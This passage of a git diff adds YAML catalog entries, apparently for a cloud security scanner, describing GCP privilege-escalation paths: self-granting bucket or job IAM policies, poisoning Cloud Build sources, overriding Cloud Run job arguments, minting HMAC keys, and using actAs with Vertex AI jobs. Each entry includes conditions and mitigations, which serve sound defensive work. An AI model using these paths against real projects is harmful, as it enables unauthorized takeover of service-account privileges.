iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_service + gcp_run_service_ssh_path: true + scope: any + aggregate_as: "SAs of Cloud Run services the source can SSH into" + conditions: + - id: early_access + description: The interactive SSH step is early-access/allowlisted; the IAM permissions exist but the exec path may be unavailable to the project. + - id: service_ready + description: The selector checks that SSH is enabled on a ready second-generation service; Cloud Run can start an instance for the session when none is running. + - id: iap_and_os_login + description: The session also needs an allowed IAP tunnel and OS Login access; those grants are not in the Cloud Run service inventory. + - id: root_ssh + description: The documented connection path requires root SSH and actAs on the service identity; sshRead alone does not establish this path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict root SSH and actAs grants on services with privileged identities. + references: + - https://docs.cloud.google.com/iap/docs/ssh-cloud-run + notes: The exact ready second-generation service and root SSH grant are joined to its service account; IAP and OS Login controls can still prevent a session. + +- id: gcp-run-instances-create-update-actas + provider: gcp + service: run + title: Deploy or update a standalone Cloud Run instance running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by attaching it to a Cloud Run instance whose container it controls. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_run_instance_create_or_update_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run instance identity in {project}" + conditions: + - id: preview_feature + description: Cloud Run instances are a preview resource; the API must be available to the project. + - id: update_requires_existing + description: The update path needs an existing instance that is ready, or separate start permission when its running state is unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict run.instances create/update (roles/run.editor, roles/run.admin). + notes: The create path checks project permission. The update path checks permission on an exact, undeleted instance and its readiness or start permission. This same-project path is conditional because instance availability and code execution still depend on Cloud Run. +- id: gcp-run-instances-create-update-cross-project-actas + provider: gcp + service: run + title: Deploy or update a Cloud Run instance with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source may run an instance under a service account from another project when the host action, cross-project attachment policy, and Cloud Run service-agent token grant all allow it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_instance: true + scope: any + aggregate_as: "Service accounts usable by Cloud Run instances in another project" + conditions: + - id: preview_feature + description: Cloud Run instances are a preview resource and must be available in the host project and region. + - id: cross_project_service_agent + description: The host project's Cloud Run service agent must have Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The service-account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: update_requires_existing + description: The update path needs an exact undeleted instance that is ready or can be started by the source. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit instance create or update rights, service-account actAs, cross-project attachment, and service-agent token grants to intended resources. + references: + - https://docs.cloud.google.com/run/docs/configuring/instances/service-identity + notes: The create path checks project permission. The update path checks the exact existing instance and its state. The target service account belongs to another project. +- id: gcp-run-jobs-setiampolicy + provider: gcp + service: run + title: Self-grant execute-with-overrides on an existing Cloud Run job through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobssetiampolicy + source_revision: 171e422 + summary: The source may run code as the service account pinned to an existing ready Cloud Run job when its policy write can add the missing job permissions and the exact job supports an executable path. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: run_job + gcp_run_job_policy_override_path: true + scope: any + aggregate_as: SAs pinned to Cloud Run jobs whose IAM policy the source controls + conditions: + - id: exact_job_policy + description: The selector checks setIamPolicy and a collected IAM policy on the same ready, undeleted job that uses the target service account. The new grant must add a missing permission and pass known deny and member constraints. + - id: override_injectable + description: The Jobs Executor With Overrides role can add run and runWithOverrides on that job. Without actAs, the recorded command must be an interpreter that accepts code through overridden arguments. + - id: actas_alternative + description: With derived actAs on the pinned service account, the Cloud Run Developer role can add job update and run rights on that job so the source may replace its image and execute it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.jobs.setIamPolicy (roles/run.admin, roles/owner) and avoid pinning privileged SAs to jobs. + references: + - https://docs.cloud.google.com/run/docs/reference/iam/roles + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs/run + notes: The selector keeps missing policy, role, boundary, and image-entrypoint evidence unresolved. It does not report a new path when the source already holds the needed job actions. +- id: gcp-run-jobs-runwithoverrides + provider: gcp + service: run + title: Execute an existing Cloud Run job with overridden args or environment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsrun-runjobsrunwithoverrides-runjobsget + source_revision: 171e422 + summary: The source may run attacker-supplied code as a job's pinned service account when it can execute that exact ready job with argument overrides and the recorded command is an interpreter that accepts code through arguments. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: run_job + gcp_run_job_override_path: true + scope: any + aggregate_as: SAs pinned to Cloud Run jobs the source can run with overrides + conditions: + - id: exact_job_run + description: The selector checks run and runWithOverrides on the same collected job that uses the target service account. + - id: override_injectable + description: Overrides cannot change image or command. The selector reports a path only when a recorded interpreter command can execute overridden arguments; other images remain unresolved. + - id: ready_job + description: The exact job must not be deleted and must have a succeeded terminal condition with reconciliation complete. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Do not grant roles/run.jobsExecutorWithOverrides on jobs pinned to privileged SAs. + references: + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs/run + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs + notes: No actAs is needed because the run-as identity is fixed at create/update. Jobs with unknown entrypoints remain unresolved instead of being reported as usable code execution. +- id: gcp-run-instances-ssh + provider: gcp + service: run + title: SSH into a running standalone Cloud Run instance and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run-instance-ssh--runsshread--runsshroot-exec-inside-a-running-container-as-its-sa-no-actas + source_revision: 6fb9ac51fd + summary: Root SSH access to a ready or startable Cloud Run instance may let the source use its attached service account. Read-only SSH access is kept unresolved because it does not prove command execution or token use. + requires: + any_of: + - - action: run.instances.sshRoot + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - - action: run.instances.sshRead + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: run_instance + gcp_actas_granted_on_target: true + gcp_run_instance_ssh_path: true + scope: any + aggregate_as: SAs of running Cloud Run instances the source can SSH into + conditions: + - id: early_access + description: The interactive SSH step is early-access/allowlisted; the IAM permissions exist but the exec path may be unavailable to the project. + - id: iap_and_os_login + description: The session also needs an allowed IAP tunnel and OS Login access; those grants are not in this Cloud Run instance inventory. + - id: service_account_user + description: Google documents Service Account User on the attached service account as a connection requirement; the exact actAs grant is checked. + - id: sshread_capability + description: sshRead permits reading data, but does not establish command execution or service-account token access; read-only paths stay unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/run.sshRoot, roles/run.sshReader and roles/run.editor on instances with privileged SAs. + references: + - https://docs.cloud.google.com/iap/docs/ssh-cloud-run + - https://docs.cloud.google.com/iam/docs/roles-permissions/run + notes: The selector joins an exact undeleted instance, attached service account, root SSH permission, exact actAs grant, SSH setting, readiness or start permission. IAP and OS Login access still affect whether a session can be established. +- id: gcp-run-workerpools-setiampolicy-actas + provider: gcp + service: run + title: Self-grant update rights on a Cloud Run worker pool through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runworkerpoolscreate--update-iamserviceaccountsactas--a-third-run-as-sa-resource + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every Cloud Run worker pool on which it holds run.workerpools.setIamPolicy and actAs on that SA. + requires: + all_of: + - action: run.workerpools.setIamPolicy + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: run_worker_pool + gcp_actas_granted_on_target: true + gcp_run_worker_pool_policy_update_path: true + scope: any + aggregate_as: SAs of Cloud Run worker pools whose IAM policy the source controls + conditions: + - id: followup_update + description: The selector needs an exact ready pool, complete policy and grantable Developer role, a missing update grant, and clear member, deny and boundary restrictions before the self-grant path is considered. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.workerpools.setIamPolicy (roles/run.admin, roles/owner). + references: + - https://docs.cloud.google.com/run/docs/configuring/workerpools/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.workerPools + notes: Policy write alone is insufficient; the selector checks the new update permission on the same pool. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml new file mode 100644 index 0000000000..1f0eb53242 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml @@ -0,0 +1,6 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP App Lifecycle Manager (SaaS Runtime, saasservicemgmt) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: saasservicemgmt_unit -> the actuation_sa input variable of an existing provisioned Unit +# ("{target.host_resource}" = that Unit); Unit inventory is not collected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml new file mode 100644 index 0000000000..7f07b141de --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml @@ -0,0 +1,2 @@ +# Manual-only Secure Source Manager paths are recorded in _excluded.yaml. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml new file mode 100644 index 0000000000..1372fc421a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml @@ -0,0 +1,61 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Source Repositories privilege escalation techniques (legacy service, unavailable to new customers). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-sourcerepos-privesc.md (rev 171e422). +# gcp_sourcerepo_trigger_path joins a collected repository to a push trigger and its exact build service account. +- id: gcp-sourcerepos-update-build-trigger + provider: gcp + service: source + title: Push code to a Cloud Source repository that feeds a Cloud Build trigger + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#sourcereposupdate--poison-source-consumed-by-a-privileged-cloud-build-trigger + source_revision: 171e422 + summary: The source can obtain the privileges of the build service accounts of triggers that build from Cloud Source repositories on which it holds source.repos.update. + requires: + all_of: + - action: source.repos.update + resource: '{target.artifact_arn}' + target: + kind: gcp_service_account + selector: + gcp_sourcerepo_trigger_path: push + scope: any + aggregate_as: Build SAs of triggers on writable Cloud Source repositories + conditions: + - id: trigger + description: An existing enabled Cloud Build trigger on the repository must accept the push (ref, included/ignored-file filters, no unmet approval) and execute repository-controlled content; the trigger's pinned service account is used and a serviceAccount field in the repo build config is ignored. + - id: end_of_sale + description: Cloud Source Repositories is unavailable to new customers since 2024-06-17; only existing eligible organizations still use it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict source.repos.update (roles/source.writer, roles/source.editor, roles/source.admin, roles/editor) on repositories with build triggers and require approval on triggers. + references: + - https://docs.cloud.google.com/build/docs/securing-builds/configure-access-control + notes: No cloudbuild.builds.create or iam.serviceAccounts.actAs is needed to cause the repository event; the writer cannot choose the build identity. +- id: gcp-sourcerepos-setiampolicy + provider: gcp + service: source + title: Self-grant repository write access through the repository IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#sourcerepossetiampolicy--self-grant-repository-write-access + source_revision: 171e422 + summary: The source can obtain the privileges of the build service accounts of triggers that build from Cloud Source repositories whose IAM policy it controls. + requires: + all_of: + - action: source.repos.setIamPolicy + resource: '{target.artifact_arn}' + target: + kind: gcp_service_account + selector: + gcp_sourcerepo_trigger_path: selfgrant + scope: any + aggregate_as: Build SAs of triggers on Cloud Source repositories whose IAM the source controls + conditions: + - id: followup_push + description: The self-granted roles/source.writer (or admin) is then used as in gcp-sourcerepos-update-build-trigger, with all of its trigger prerequisites. + - id: no_public_members + description: Cloud Source Repositories rejects allUsers/allAuthenticatedUsers bindings; the grantee must be an attacker-controlled IAM principal. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict source.repos.setIamPolicy (roles/source.admin, roles/owner). diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml new file mode 100644 index 0000000000..d1d32d18f6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml @@ -0,0 +1,219 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Storage privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-storage-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Service-specific bucket write techniques (Composer, Cloud Functions, App Engine, Dataflow) live in those service files. + +- id: gcp-storage-hmackeys-create + provider: gcp + service: storage + title: Create an HMAC key for an in-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagehmackeyscreate--mint-a-cloud-storage-credential-for-another-service-account + source_revision: 171e422 + summary: The source may create a Cloud Storage HMAC credential for an enabled service account in a project where it holds storage.hmacKeys.create. The credential grants only that account's Cloud Storage XML API access. + requires: + all_of: + - action: storage.hmacKeys.create + resource: "*" + target: + kind: gcp_verified_authority + selector: + gcp_hmac_storage_identity: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Cloud Storage HMAC access through service accounts in {project}" + conditions: + - id: storage_only + description: An HMAC key authenticates only to the Cloud Storage XML (S3-interoperable) API, so only the SA's Cloud Storage permissions are obtained, not its other IAM permissions. + - id: hmac_constraint + description: Org policy storage.restrictAuthTypes rejects creation and use only when its denied values cover service-account HMAC signed requests. + - id: key_quota + description: The service account must have fewer than 10 non-deleted HMAC keys. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + - {id: org_policy_constraint, constraint: storage.restrictAuthTypes} + - {id: org_policy_constraint, constraint: iam.disableServiceAccountKeyCreation} + - {id: org_policy_constraint, constraint: iam.managed.disableServiceAccountKeyCreation} + confidence: conditional + severity: high + mitigation: Restrict storage.hmacKeys.create (roles/storage.hmacKeyAdmin, roles/storage.admin at project level) and enforce storage.restrictAuthTypes. + references: + - https://cloud.google.com/storage/docs/authentication/hmackeys + - https://docs.cloud.google.com/storage/docs/authentication/managing-hmackeys + - https://docs.cloud.google.com/storage/docs/json_api/v1/projects/hmacKeys/create + notes: No actAs or SA-level permission is needed; any enabled in-project SA email is accepted (HackTricks). The distinct bounded-authority target prevents an HMAC credential from being treated as a full service-account pivot. + +- id: gcp-storage-buckets-setiampolicy-code-consumers + provider: gcp + service: storage + title: Self-grant object write on a bucket used by Dataproc or an unpinned Cloud Build source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may obtain the privileges of a Dataproc cluster or a recorded Cloud Build service account when it can change the IAM policy of a bucket holding code the workload later loads. + requires: + all_of: + - action: storage.buckets.setIamPolicy + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: + - dataproc_cluster + - cloudbuild_unpinned_storage_source + scope: any + aggregate_as: "SAs of workloads loading code from buckets whose IAM the source controls" + conditions: + - id: followup_replace + description: The self-granted role must include storage.objects.create and storage.objects.delete so the consumed object can be replaced; a later Dataproc node startup or retry of a recorded non-triggered Cloud Build must load it without a pinned generation. + - id: blind_replace + description: setIamPolicy alone replaces the whole policy; a non-destructive read-modify-write also needs the matching getIamPolicy permission. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict storage.buckets.setIamPolicy on buckets that hold executable code or build sources. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + +- id: gcp-storage-managedfolders-setiampolicy-dataproc-init + provider: gcp + service: storage + title: Self-grant write access to a Dataproc initialization script folder + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may grant itself write access to a managed folder holding a Dataproc initialization script that could run again on a new cluster node. + requires: + all_of: + - action: storage.managedFolders.setIamPolicy + resource: '{target.dataproc_init_managed_folder}' + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: any + aggregate_as: SAs of Dataproc clusters with an initialization script in a writable managed folder + conditions: + - id: exact_init_script_folder + description: The collected initialization action must name a GCS object in the exact managed folder, and the bucket must use uniform bucket-level access. + - id: future_node_startup + description: A new cluster node must load the modified script after the folder grant and object replacement. + - id: followup_object_replace + description: The self-granted role must permit replacement of the referenced object, subject to holds and retention. + blockers: [gcp_deny_policy, vpc_sc_perimeter] + confidence: conditional + severity: high + mitigation: Restrict managed-folder IAM changes on paths holding Dataproc initialization scripts. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + - https://docs.cloud.google.com/managed-spark/docs/concepts/configuring-clusters/init-actions +- id: gcp-storage-buckets-setiampolicy-composer + provider: gcp + service: storage + title: Self-grant write on a Composer environment bucket through the bucket IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every Composer environment whose bucket IAM policy it controls. + requires: + all_of: + - action: storage.buckets.setIamPolicy + resource: '{target.host_resource.content_storage}' + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_storage_policy_path: bucket + scope: any + aggregate_as: SAs of Composer environments whose bucket IAM the source controls + conditions: + - id: followup_write + description: The self-granted object write then drops a DAG that runs as the environment SA (see gcp-composer-bucket-write). + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + - id: blind_replace + description: setIamPolicy alone replaces the whole bucket policy; a non-destructive read-modify-write also needs storage.buckets.getIamPolicy. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + - https://docs.cloud.google.com/composer/docs/composer-3/access-control + confidence: conditional + severity: critical + mitigation: Restrict storage.buckets.setIamPolicy (roles/storage.admin) on Composer and other code-bearing buckets. + notes: Dataproc staging and unpinned Cloud Build StorageSource consumers are modelled by gcp-storage-buckets-setiampolicy-code-consumers; function source and App Engine staging bucket techniques are race-conditional and not duplicated here. +- id: gcp-storage-managedfolders-setiampolicy-composer + provider: gcp + service: storage + title: Self-grant Composer DAG write access through a managed-folder IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may grant itself write access to a Composer DAG prefix when it can change the IAM policy of a managed folder covering that prefix. + requires: + all_of: + - action: storage.managedFolders.setIamPolicy + resource: '{target.composer_dag_managed_folder}' + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_storage_policy_path: managed_folder + scope: any + aggregate_as: SAs of Composer environments with a potentially writable DAG managed folder + conditions: + - id: managed_dag_folder + description: The bucket must use uniform bucket-level access and an existing managed folder must contain or sit inside the Composer DAG prefix; the permission must apply to that exact folder. + - id: followup_write + description: The new folder binding must grant object creation under dags/ so the scheduler loads the new DAG. + - id: allowed_member_domains + description: An external source may be prevented from adding itself to the folder policy by the allowed-member-domains organization policy. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit managed-folder IAM policy changes on Composer DAG prefixes to environment administrators. + references: + - https://docs.cloud.google.com/storage/docs/creating-managing-managed-folders + - https://docs.cloud.google.com/composer/docs/composer-3/access-control +- id: gcp-storage-cloudbuild-unpinned-storagesource-poison + provider: gcp + service: storage + title: Replace an unpinned Cloud Build StorageSource archive consumed by a later build + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storageobjectscreate--storageobjectsdelete--poison-an-unpinned-cloud-build-storagesource + source_revision: 171e422 + summary: The source may obtain the build service account's privileges if a recorded non-triggered Cloud Build is retried after its unpinned source archive is replaced. + requires: + all_of: + - action: storage.objects.create + resource: '{target.cloudbuild_source_object}' + - action: storage.objects.delete + resource: '{target.cloudbuild_source_object}' + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_unpinned_storage_source + scope: any + aggregate_as: Build SAs of builds consuming source archives the source can replace + conditions: + - id: unpinned_reuse + description: A later legitimate builds.retry must reuse the exact bucket and object from the collected non-triggered build, with StorageSource.generation omitted; generation-pinned sources are unaffected. + - id: executes_source + description: The build steps must execute or trust content from the archive; replacing cloudbuild.yaml inside it is insufficient when steps are supplied separately to the API. + - id: object_protection + description: Retention locks, object holds or IAM Deny on the object block replacement. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Pin StorageSource.generation, keep build source buckets writable only by the build submitters, and avoid retrying builds from mutable sources. + references: + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.builds#StorageSource + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/retry + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: No cloudbuild.builds.create or actAs is needed when another principal retries the vulnerable build. The model derives an exact target only for a collected build with an explicit service account; future automation and default build identities remain unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml new file mode 100644 index 0000000000..40ff09bba7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml @@ -0,0 +1,373 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Vertex AI (aiplatform) and Workbench (notebooks) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-vertex-ai-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: vertex_custom_code_agent -> service-@gcp-sa-aiplatform-cc of the project; +# notebooks_instance -> SA attached to an existing Workbench instance ("{target.host_resource}"). +# vertex_reasoning_engine_agent -> service-@gcp-sa-aiplatform-re of the project (Agent Engine default runtime identity). + +- id: gcp-vertex-customjobs-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI custom job or custom training pipeline running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformcustomjobscreate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Vertex AI custom job or a custom TrainingPipeline whose workload runs as that service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + any_of: + - - action: aiplatform.customJobs.create + resource: '*' + - - action: aiplatform.trainingPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + notes: A custom TrainingPipeline wraps the same custom job spec, so aiplatform.trainingPipelines.create is an equivalent alternative. + +- id: gcp-vertex-pipelinejobs-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI pipeline job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformpipelinejobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.pipelineJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-hptuningjobs-create-actas + provider: gcp + service: aiplatform + title: Create a hyperparameter tuning job whose trials run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformhyperparametertuningjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.hyperparameterTuningJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-batchprediction-create-actas + provider: gcp + service: aiplatform + title: Create a batch prediction job running a chosen container as a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformbatchpredictionjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can supply an unmanaged container and command in a batch prediction job that runs as a service account it can act as. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_vertex_batch_prediction_path: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: container_execution + description: The job request can include an unmanagedContainerModel with a chosen container image and command; no prior model upload is needed, but the image must be usable by Vertex AI. + - id: input_output + description: A valid input source and output destination accessible to the Vertex AI service agent are required for the job to start. + - id: service_agent_io + description: Vertex still uses its service agent for Cloud Storage/BigQuery I/O even with a custom SA. + - id: service_agent_delegation + description: The selector checks that the project's Vertex AI Service Agent has an unconditional roles/iam.serviceAccountAdmin grant on the target SA or an ancestor. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + references: + - https://docs.cloud.google.com/vertex-ai/docs/reference/rpc/google.cloud.aiplatform.v1#batchpredictionjob + +- id: gcp-vertex-models-upload-endpoint-deploy-actas + provider: gcp + service: aiplatform + title: Deploy a controlled model to a Vertex AI endpoint under a chosen 